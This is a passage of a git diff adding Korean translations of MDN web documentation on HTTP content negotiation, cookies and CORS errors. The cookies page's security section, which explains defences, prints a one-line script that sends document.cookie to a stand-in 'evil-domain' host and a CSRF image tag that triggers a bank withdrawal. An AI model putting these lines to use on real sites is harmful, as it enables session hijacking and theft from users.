+<p>특별한 값인 '<code>*</code>'은 서버 주도 컨텐츠 협상이 적합한 컨텐츠 선택을 위해 헤더로 전달되지 않은 정보도 사용한다는 것을 의미합니다.</p>
+
+<p><code>Vary</code> 헤더는 HTTP 1.1 버전에서 추가되었으며 캐시를 적절하게 동작하도록 허용하는 일이 불필요합니다. 캐시는, 에이전트 주도 컨텐츠 협상과 함께 동작하도록 하기 위해, 전송된 컨텐츠를 선택하도록 서버에 의해 사용되었던 기준이 어떤 것인지 알 필요가 있습니다. 그런 방법으로, 캐시는 알고리즘을 재연할 수 있으며 서버에 추가적인 요청없이도 수용 가능한 컨텐츠를 직접 서브할 수 있게 될 것입니다. 확실히, 캐시는 무슨 요소가 뒤에 있는지 알 수 없으므로, '<code>*</code>' 와일드카드는 현재 일어나고 있는 일들로부터 캐시되는 것을 방지합니다.</p>
+
+<h2 id="에이전트_주도_협상">에이전트 주도 협상</h2>
+
+<p>서버 주도 협상은 몇 가지 불리한 점 때문에 고통을 줍니다: 그것은 확장하기가 용이하지 않습니다. 협상 내에서 사용하는 기능 당 한 가지 헤더가 존재해야 합니다. 만약 스크린 크기, 해상도 혹은 또 다른 치수를 사용하고자 한다면, 새로운 HTTP 헤더가 반드시 만들어져야 합니다. 헤더의 전송은 반드시 모든 요청 상에서 이루어져야 합니다. 이것은 몇몇 헤더들에 있어서는 그리 문제될 것은 아니지만, 그런 헤더들이 결국 증가하여, 메시지 사이즈가 성능에 악영향이 끼치는 상황이 올 수도 있습니다. 정확한 헤더가 전송되면 전송될수록, 불확실성도 더욱 더 전송되어, 좀 더 많은 HTTP 흔적과 그와 관련된 개인정보들이 남게 됩니다.</p>
+
+<p>HTTP의 초창기부터, 프로토콜은 또 다른 협상 유형을 허용했습니다: <em>에이전트 주도 협상</em> 혹은 <em>리액티브 협상</em>. 이 협상에서, 애매모호한 요청과 맞닥뜨렸을 경우, 서버는 사용 가능한 대체 리소스들에 대한 링크를 포함하고 있는 페이지를 회신하게 됩니다. 사용자는 해당 리소스들을 표시하고 사용하려는 리소스를 선택하게 됩니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13795/HTTPNego3.png"></p>
+
+<p>불행하게도, HTTP 표준은 그 과정을 쉽게 자동화하는 것을 막는, 사용 가능한 리소스 중에서 선택하도록 허용하는 페이지의 형식을 명시하지 않고 있습니다. 게다가 서버 주도 협상으로의 회귀로, 이 방법은 스크립팅, 특히 자바스크립트 리다이렉션과 함께 거의 항상 사용됩니다: 협상 기준을 점검하고 난 뒤에, 스크립트는 리다이렉션을 실행합니다. 두번째 문제는 실제 리소스를 가져오는데 한 개 이상의 요청이 필요로 해서, 사용자에 대한 리소스 효용성이 떨어진다는 것입니다.</p>
diff --git a/files/ko/web/http/cookies/index.html b/files/ko/web/http/cookies/index.html
new file mode 100644
index 0000000000..4f676c96d7
--- /dev/null
+++ b/files/ko/web/http/cookies/index.html
@@ -0,0 +1,201 @@
+---
+title: HTTP 쿠키
+slug: Web/HTTP/Cookies
+translation_of: Web/HTTP/Cookies
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP 쿠키(웹 쿠키, 브라우저 쿠키)는 서버가 사용자의 웹 브라우저에 전송하는 작은 데이터 조각입니다. 브라우저는 그 데이터 조각들을 저장해 놓았다가, 동일한 서버에 재 요청 시 저장된 데이터를 함께 전송합니다. 쿠키는 두 요청이 동일한 브라우저에서 들어왔는지 아닌지를 판단할 때 주로 사용합니다. 이를 이용하면 사용자의 로그인 상태를 유지할 수 있습니다. 상태가 없는(<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless">stateless</a>) HTTP 프로토콜에서 상태 정보를 기억시켜주기 때문입니다.</p>
+
+<p>쿠키는 주로 세 가지 목적을 위해 사용됩니다:</p>
+
+<dl>
+ <dt>세션 관리(Session management)</dt>
+ <dd>서버에 저장해야 할 로그인, 장바구니, 게임 스코어 등의 정보 관리</dd>
+ <dt>개인화(Personalization)</dt>
+ <dd>사용자 선호, 테마 등의 세팅</dd>
+ <dt>트래킹(Tracking)</dt>
+ <dd>사용자 행동을 기록하고 분석하는 용도</dd>
+</dl>
+
+<p>과거엔 클라이언트 측에 정보를 저장할 때 쿠키를 주로 사용하곤 했습니다. 쿠키를 사용하는 게 데이터를 클라이언트 측에 저장할 수 있는 유일한 방법이었을 때는 이 방법이 타당했지만, 지금은modern storage APIs를 사용해 정보를 저장하는 걸 권장합니다. 모든 요청마다 쿠키가 함께 전송되기 때문에, (특히 mobile data connections에서) 성능이 떨어지는 원인이 될 수 있습니다. 정보를 클라이언트 측에 저장하려면 Modern APIs의 종류인 <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">웹 스토리지 API</a> (<code>localStorage</code>와 <code>sessionStorage</code>) 와<a href="/en-US/docs/Web/API/IndexedDB_API"> IndexedDB</a>를 사용하면 됩니다.</p>
+
+<div class="note">
+<p>저장된 쿠키(그리고 웹 페이지가 사용할 수 있는 다른 스토리지)를 보려면, 개발자 도구에서 <a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector(스토리지 검사기)</a>를 활성화하고 스토리지 트리에서 쿠키 스토리지를 선택하면 됩니다.</p>
+</div>
+
+<h2 id="쿠키_만들기">쿠키 만들기</h2>
+
+<p>HTTP 요청을 수신할 때, 서버는 응답과 함께 {{HTTPHeader("Set-Cookie")}} 헤더를 전송할 수 있습니다. 쿠키는 보통 브라우저에 의해 저장되며, 그 후 쿠키는 같은 서버에 의해 만들어진 요청(Request)들의 {{HTTPHeader("Cookie")}} HTTP 헤더안에 포함되어 전송됩니다. 만료일 혹은 지속시간(duration)도 명시될 수 있고, 만료된 쿠키는 더이상 보내지지 않습니다. 추가적으로, 특정 도메인 혹은 경로 제한을 설정할 수 있으며 이는 쿠키가 보내지는 것을 제한할 수 있습니다.</p>
+
+<h3 id="Set-Cookie_그리고_Cookie_헤더"><code>Set-Cookie</code> 그리고 <code>Cookie</code> 헤더</h3>
+
+<p>{{HTTPHeader("Set-Cookie")}} HTTP 응답 헤더는 서버로부터 사용자 에이전트로 전송됩니다. 간단한 쿠키는 다음과 같이 설정될 수 있습니다:</p>
+
+<pre class="notranslate">Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;
+</pre>
+
+<p>이 서버 헤더는 클라이언트에게 쿠키를 저장하라고 전달합니다.</p>
+
+<pre class="syntaxbox notranslate"><code>HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]</code></pre>
+
+<p>이제, 서버로 전송되는 모든 요청과 함께, 브라우저는 {{HTTPHeader("Cookie")}} 헤더를 사용하여 서버로 이전에 저장했던 모든 쿠키들을 회신할 것입니다.</p>
+
+<pre class="syntaxbox notranslate">GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Here's how to use the <code>Set-Cookie</code> header in various server-side applications:</p>
+
+<ul>
+ <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li>
+ <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li>
+ <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li>
+ <li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li>
+</ul>
+
+<dl>
+</dl>
+</div>
+
+<h3 id="쿠키의_라이프타임">쿠키의 라이프타임</h3>
+
+<p>쿠키의 라이프타임은 두가지 방법으로 정의할 수 있습니다:</p>
+
+<ul>
+ <li><em>세션 </em>쿠키는 현재 세션이 끝날 때 삭제됩니다. 브라우저는 "현재 세션"이 끝나는 시점을 정의하며, 어떤 브라우저들은 재시작할 때 <em>세션을 복원</em>해 세션 쿠키가 무기한 존재할 수 있도록 합니다.</li>
+ <li><em>영속적인 쿠키</em>는 <code>Expires</code> 속성에 명시된 날짜에 삭제되거나, <code>Max-Age</code> 속성에 명시된 기간 이후에 삭제됩니다.</li>
+</ul>
+
+<p>예를 들면 아래와 같습니다:</p>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: When an expiry date is set, the time and date set is relative to the client the cookie is being set on, not the server.</p>
+</div>
+
+<h3 id="Secure과_HttpOnly_쿠키"><code>Secure</code>과 <code>HttpOnly</code> 쿠키</h3>
+
+<p>Secure 쿠키는 HTTPS 프로토콜 상에서 암호화된(encrypted ) 요청일 경우에만 전송됩니다. 하지만 <code>Secure</code>일지라도 민감한 정보는 절대 쿠키에 저장되면 안됩니다, 본질적으로 안전하지 않고 이 플래그가 당신에게 실질적인 보안(real protection)를 제공하지 않기 때문입니다. 크롬52 혹은 파이어폭스52로 시작한다면, 안전하지 않은 사이트(<code>http:</code>) 는 쿠키에 <code>Secure</code> 설정을 지시할 수 없습니다.</p>
+
+<p>Cross-site 스크립팅 ({{Glossary("XSS")}}) 공격을 방지하기 위해, <code>HttpOnly</code>쿠키는 JavaScript의 {{domxref("Document.cookie")}} API에 접근할 수 없습니다; 그들은 서버에게 전송되기만 합니다. 예를 들어, 서버 쪽에서 지속되고 있는 세션의 쿠키는 JavaScript를 사용할 필요성이 없기 때문에 <code>HttpOnly</code>플래그가 설정될 것입니다.</p>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre>
+
+<h3 id="쿠키의_스코프">쿠키의 스코프</h3>
+
+<p><code>Domain</code> 그리고 <code>Path</code> 디렉티브는 쿠키의 <em>스코프</em>를 정의합니다: 어떤 URL을 쿠키가 보내야 하는지.</p>
+
+<p><code>Domain</code>은 쿠키가 전송되게 될 호스트들을 명시합니다. 만약 명시되지 않는다면, (서브 도메인은 포함되지 않는) 현재 문서 위치의 호스트 일부를 기본값으로 합니다. 도메인이 명시되면, 서브도메인들은 항상 포함됩니다.</p>
+
+<p>만약 <code>Domain=mozilla.org</code>이 설정되면, 쿠키들은 <code>developer.mozilla.org</code>와 같은 서브도메인 상에 포함되게 됩니다.</p>
+
+<p><code>Path</code>는 <code>Cookie</code> 헤더를 전송하기 위하여 요청되는 URL 내에 반드시 존재해야 하는 URL 경로입니다. %x2F ("/") 문자는 디렉티브 구분자로 해석되며 서브 디렉토리들과 잘 매치될 것입니다.</p>
+
+<p>만약 <code>Path=/docs</code>이 설정되면, 다음의 경로들은 모두 매치될 것입니다:</p>
+
+<ul>
+ <li><code>/docs</code></li>
+ <li><code>/docs/Web/</code></li>
+ <li><code>/docs/Web/HTTP</code></li>
+</ul>
+
+<h3 id="SameSite_쿠키_experimental_inline"><code>SameSite</code> 쿠키 {{experimental_inline}}</h3>
+
+<p><code>SameSite</code> 쿠키는 쿠키가 cross-site 요청과 함께 전송되지 않았음을 요구하게 만들어, cross-site 요청 위조 공격({{Glossary("CSRF")}})에 대해 어떤 보호 방법을 제공합니다. <code>SameSite</code> 쿠키는 여전히 실험 중이며 모든 브라우저에 의해 아직 제공되지 않고 있습니다.</p>
+
+<h3 id="Document.cookie를_사용한_자바스크립트_접근"><code>Document.cookie</code>를 사용한 자바스크립트 접근</h3>
+
+<p>새로운 쿠키들은 {{domxref("Document.cookie")}}를 사용해 만들어질 수도 있으며, <code>HttpOnly</code> 플래그가 설정되지 않은 경우 기본의 쿠키들은 자바스크립트로부터 잘 접근될 수 있습니다.</p>
+
+<pre class="brush: js notranslate">document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre>
+
+<p>아래 <a href="/en-US/docs/Web/HTTP/Cookies#Security">보안</a> 섹션에서 다루고 있는데로 보안 관련 내용들을 잘 알아두시기 바랍니다. 자바스크립트에서 이용 가능한 쿠키들은 XSS를 통해 감청될 수 있습니다.</p>
+
+<ul>
+</ul>
+
+<h2 id="보안">보안</h2>
+
+<div class="note">
+<p>기밀 혹은 민감한 정보는 전체 메커니즘이 본질적으로 위험하기 때문에 HTTP 쿠키 내에 저장되거나 전송되어서는 안됩니다.</p>
+</div>
+
+<h3 id="세션_하이재킹과_XSS">세션 하이재킹과 XSS</h3>
+
+<p>쿠키는 대개 웹 애플리케이션에서 사용자와 그들의 인증된 세션을 식별하기 위해 사용되곤 합니다. 그래서 쿠키를 가로채는 것은 인증된 사용자의 세션 하이재킹으로 이어질 수 있습니다. 쿠키를 가로채는 일반적인 방법은 소셜 공학 사용 혹은 애플리케이션 내 {{Glossary("XSS")}} 취약점을 이용하는 것을 포함합니다.</p>
+
+<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre>
+
+<p><code>HttpOnly</code> 쿠키 속성은 자바스크립트를 통해 쿠키 값에 접근하는 것을 막아 이런 공격을 누그러뜨리는데 도움을 줄 수 있습니다.</p>
+
+<h3 id="Cross-site_요청_위조_CSRF">Cross-site 요청 위조 (CSRF)</h3>
+
+<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">위키피디아</a>에 {{Glossary("CSRF")}}에 대한 좋은 예제가 있습니다. 위키피디아의 예와 같은 상황에서, 당신의 은행 서버에 돈을 입금하는 실제 요청 대신에, 실제로는 이미지가 아닌 이미지를 포함시키고 있습니다(예를 들어 필터링되지 않은 채팅이나 포럼 페이지 내에):</p>
+
+<pre class="brush: html notranslate">&lt;img src="http://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory"&gt;</pre>
+
+<p>이제, 당신이 당신의 은행 계좌에 로그인하고 당신의 쿠키가 여전히 유효하다면(그리고 별 다른 검증 절차가 존재하지 않는다면), 해당 이미지를 포함하고 있는 HTML을 로드하자마자 돈이 송금될 것입니다. 이런 일들이 벌어지는 것을 방지하기 위한 몇 가지 기술이 있습니다:</p>
+
+<ul>
+ <li>{{Glossary("XSS")}}와 마찬가지로, 입력 필터링은 중요한 문제입니다.</li>
+ <li>모든 민감한 동작에 필수로 요구되는 확인 절차가 항상 수행되도록 합니다.</li>
+ <li>민감한 동작에 사용되는 쿠키는 짧은 수명만 갖도록 합니다.</li>
+ <li>좀 더 많은 예방 팁은 <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF 예방 치트 시트</a>를 참고하시기 바랍니다.</li>
+</ul>
+
+<h2 id="트래킹과_프라이버시">트래킹과 프라이버시</h2>
+
+<h3 id="서드파티_쿠키">서드파티 쿠키</h3>
+
+<p>쿠키는 그와 관련된 도메인을 가집니다. 이 도메인이 당신이 현재 보고 있는 페이지의 도메인과 동일하다면, 그 쿠키는 <em>퍼스트파티 쿠키</em>라고 불립니다. 만약 도메인이 다르다면, <em>서드파티 쿠키</em>라고 부릅니다. 퍼스트파티 쿠키가 그것을 설정한 서버에만 전송되는데 반해, 웹 페이지는 다른 도메인의 서버 상에 저장된 (광고 배너와 같은) 이미지 혹은 컴포넌트를 포함할 수도 있습니다. 이러한 서드파티 컴포넌트를 통해 전송되는 쿠키들을 서드파티 쿠키라고 부르며 웹을 통한 광고와 트래킹에 주로 사용됩니다. <a href="https://www.google.com/policies/technologies/types/">구글이 사용하는 쿠키 타입</a>을 예로 참고하시기 바랍니다. 대부분의 브라우저들은 기본적으로 서드파티 쿠키를 따르지만, 그것을 차단하는데 이용되는 애드온들이 있습니다(예를 들어, <a href="https://www.eff.org/">EFF</a>이 만든 <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a>이 있습니다).</p>
+
+<p>당신이 만약 서드파티 쿠키를 공개하고 있지 않다면, 쿠키 사용이 밝혀질 경우 소비자 신뢰를 잃을 수도 있습니다. (프라이버시 정책과 같은) 명백한 공개는 쿠키 발견과 관련된 모든 부정적인 효과를 없애는 경향이 있습니다. 어떤 국가들은 쿠키에 관한 법률도 가지고 있습니다. 위키피디아의 <a href="https://wikimediafoundation.org/wiki/Cookie_statement">쿠키 구문</a>을 예로 참고하시기 바랍니다.</p>
+
+<ul>
+</ul>
+
+<h3 id="Do-Not-Track">Do-Not-Track</h3>
+
+<p>쿠키 사용에 대한 합법적이거나 기술적인 요구사항은 없지만, {{HTTPHeader("DNT")}} 헤더는 웹 애플리케이션이 트래킹 혹은 개인 사용자의 cross-site 사용자 트래킹 모두를 비활성화하는 신호로 사용될 수 있습니다. 좀 더 자세한 내용은 {{HTTPHeader("DNT")}} 헤더를 참고하시기 바랍니다.</p>
+
+<h3 id="EU_쿠키_디렉티브">EU 쿠키 디렉티브</h3>
+
+<p>EU 전역의 쿠키에 대한 요구사항은 유럽 의회의 <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a>에 정의되어 있으며 2011년 5월 25일에 발효되었습니다. 디렉티브는 그 자체로 법은 아니지만, 디렉티브의 요구사항을 만족시키는 법을 제정하려는 EU 회원국들을 위한 요구사항입니다. 실제 법들은 나라마다 다를 수 있습니다.</p>
+
+<p>짧게 말하자면, EU 디렉티브는 컴퓨터, 모바일 폰 혹은 다른 기기들에서 누군가가 어떤 정보든지 저장하거나 검색하기 전에, 사용자는 그렇게 하기 위해 사전 동의해야만 한다는 내용입니다. 많은 웹 사이트들은 사용자가에게 쿠키 사용에 대한 내용을 알려준 뒤에 배너들을 추가할 수 있습니다.</p>
+
+<p>좀 더 자세한 내용은 <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">여기 위키피디아 섹션</a>을 보시고 가장 최근의 가장 정확한 정보는 국가법을 참고하시기 바랍니다.</p>
+
+<h3 id="좀비_쿠키와_Evercookies">좀비 쿠키와 Evercookies</h3>
+
+<p>쿠키에 대한 좀 더 급진적인 해결책은 삭제 이후에 다시 생성되는 좀비 쿠키 혹은 "Evercookies"이며 의도적으로 영원히 제거하는 것이 어려운 쿠키입니다. 그들은 쿠키가 존재 여부와 관계없이 그들 자신을 다시 만들어내기 위해 <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">웹 스토리지 API</a>, Flash 로컬 공유 객체 그리고 다른 기술들을 사용하고 있습니다.</p>
+
+<ul>
+ <li><a href="https://github.com/samyk/evercookie">Samy Kamkar의 Evercookie</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">좀비 쿠키에 대한 위키피디아</a></li>
+</ul>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+ <li>{{domxref("Navigator.cookieEnabled")}}</li>
+ <li><a href="/en-US/docs/Tools/Storage_Inspector">스토리지 검사기를 사용하여 쿠키 검사하기</a></li>
+ <li><a class="external" href="https://tools.ietf.org/html/rfc6265">쿠키 명세: RFC 6265</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">쿠키에 대한 Nicholas Zakas의 글</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">쿠키와 보안에 대한 Nicholas Zakas의 글</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP 쿠키에 대한 위키피디아</a></li>
+</ul>
diff --git a/files/ko/web/http/cors/errors/corsdidnotsucceed/index.html b/files/ko/web/http/cors/errors/corsdidnotsucceed/index.html
new file mode 100644
index 0000000000..4cb694d0d5
--- /dev/null
+++ b/files/ko/web/http/cors/errors/corsdidnotsucceed/index.html
@@ -0,0 +1,22 @@
+---
+title: 'Reason: CORS request did not succeed'
+slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="원인">원인</h2>
+
+<pre class="syntaxbox">원인: CORS 요청이 성공하지 못했습니다.</pre>
+
+<h2 id="무엇이_문제인가요">무엇이 문제인가요?</h2>
+
+<p>네트워크 또는 프로토콜 수준에서 HTTP 연결이 실패했기 때문에 CORS를 사용하는  {{Glossary("HTTP")}} 요청이 실패했습니다. 이 에러는 근본적인 네트워크 에러이거나 그에 준하는 에러로 CORS와 직접적인 연관이 있는 것은 아닙니다.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS 에러</a></li>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS 소개</a></li>
+</ul>
diff --git a/files/ko/web/http/cors/errors/corsrequestnothttp/index.html b/files/ko/web/http/cors/errors/corsrequestnothttp/index.html
new file mode 100644
index 0000000000..9c583d82fa
--- /dev/null
+++ b/files/ko/web/http/cors/errors/corsrequestnothttp/index.html
@@ -0,0 +1,43 @@
+---
+title: 'Reason: CORS request not HTTP'
+slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp
+tags:
+  - CORS
+  - CORSRequestNotHttp
+  - HTTP
+  - HTTPS
+  - 메시지
+  - 문제해결
+  - 보안
+  - 에러
+  - 이유
+  - 콘솔
+  - 크로스 오리진
+translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="이유">이유</h2>
+
+<pre class="syntaxbox">Reason: CORS request not HTTP</pre>
+
+<h2 id="무엇이_잘못되었는가">무엇이 잘못되었는가?</h2>
+
+<p>{{Glossary("CORS")}} 요청은 오직 HTTPS URL 스키마만을 사용할 수 있지만 요청에 의해 지정된 URL은 다른 타입이다. 이는 URL이 <code>file:///</code> URL을 사용해 로컬 파일을 지정할 경우 종종 발생한다.</p>
+
+<p>이 문제를 해결하려면, {{domxref("XMLHttpRequest")}}, <a href="/ko/docs/Web/API/Fetch_API">Fetch</a> APIs, 웹 폰트 (<code>@font-face</code>), <a href="/ko/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL textures</a>, XSL 스타일시트와 같은 CORS를 포함하는 요청이 발생할 때 HTTPS URL을 사용하고 있는지 확인하도록 한다.</p>
+
+<h3 id="Firefox_68에서의_로컬_파일_보안">Firefox 68에서의 로컬 파일 보안</h3>
+
+<p>Firefox 67 이전 버전에서 <code>file:///</code> URI를 사용하는 페이지를 열때 페이지의 오리진은 페이지가 열린 디렉토리로 정의된다. 동일한 디렉토리와 그 하위 디렉토리의 리소스들은 CORS 동일-오리진 규칙의 목적을 위한 동일 오리진을 갖는 것으로 처리된다.</p>
+
+<p><a href="https://www.mozilla.org/en-US/security/advisories/mfsa2019-21/#CVE-2019-11730">CVE-2019-11730</a>에 대한 응답으로, Firefox 68 이후 버전에서는 <code>file:///</code> URI를 사용해 열린 페이지의 오리진은 유니크한 것으로 정의된다. 그러므로, 동일 디렉토리나 그 하위 디렉토리의 다른 리소스들은 더 이상 CORS 동일-오리진 규칙을 충족하지 않는다. 이는 <code>privacy.file_unique_origin</code> 구성을 사용하여 기본으로 활성화되는 새로운 동작이다.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/CORS/Errors">CORS 에러</a></li>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/ko/docs/Web/HTTP/CORS">CORS 소개</a></li>
+ <li><a href="/ko/docs/Learn/Common_questions/What_is_a_URL">URL이 무엇인가?</a></li>
+</ul>
diff --git a/files/ko/web/http/cors/errors/index.html b/files/ko/web/http/cors/errors/index.html
new file mode 100644
index 0000000000..d1dd12dc75
--- /dev/null
+++ b/files/ko/web/http/cors/errors/index.html
@@ -0,0 +1,76 @@
+---
+title: CORS errors
+slug: Web/HTTP/CORS/Errors
+tags:
+  - CORS
+  - Errors
+  - HTTP
+  - HTTPS
+  - Messages
+  - NeedsTranslation
+  - Same-origin
+  - Security
+  - TopicStub
+  - console
+  - troubleshooting
+translation_of: Web/HTTP/CORS/Errors
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) is a standard that allows a server to relax the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This is used to explicitly allow some cross-origin requests while rejecting others.</span> For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.</p>
+
+<p>If the CORS configuration isn't setup correctly, the browser console will present an error like <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.</p>
+
+<h2 id="Identifying_the_issue">Identifying the issue</h2>
+
+<p>To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:</p>
+
+<ol>
+ <li>Navigate to the web site or web app in question and open the <a href="/en-US/docs/Tools">Developer Tools</a>.</li>
+ <li>Now try to reproduce the failing transaction and check the <a href="/en-US/docs/Tools/Web_Console">console</a> if you are seeing a CORS violation error message. It will probably look like this:</li>
+</ol>
+
+<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p>
+
+<p>The text of the error message will be something similar to the following:</p>
+
+<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows
+reading the remote resource at <em>https://some-url-here</em>. (<em>Reason:
+additional information here</em>).</span></span></span></pre>
+
+<div class="note">
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> For security reasons, specifics about what went wrong with a CORS request <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</span></span></span></p>
+</div>
+
+<h2 id="CORS_error_messages">CORS error messages</h2>
+
+<p>Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong.  The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Reason: CORS disabled</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Reason: CORS request did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Reason: CORS header ‘Origin’ cannot be added</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Reason: CORS request external redirect not allowed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li>
+ <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li>
+</ul>
diff --git a/files/ko/web/http/cors/index.html b/files/ko/web/http/cors/index.html
new file mode 100644
index 0000000000..ffaed542fb
--- /dev/null
+++ b/files/ko/web/http/cors/index.html
@@ -0,0 +1,476 @@
+---
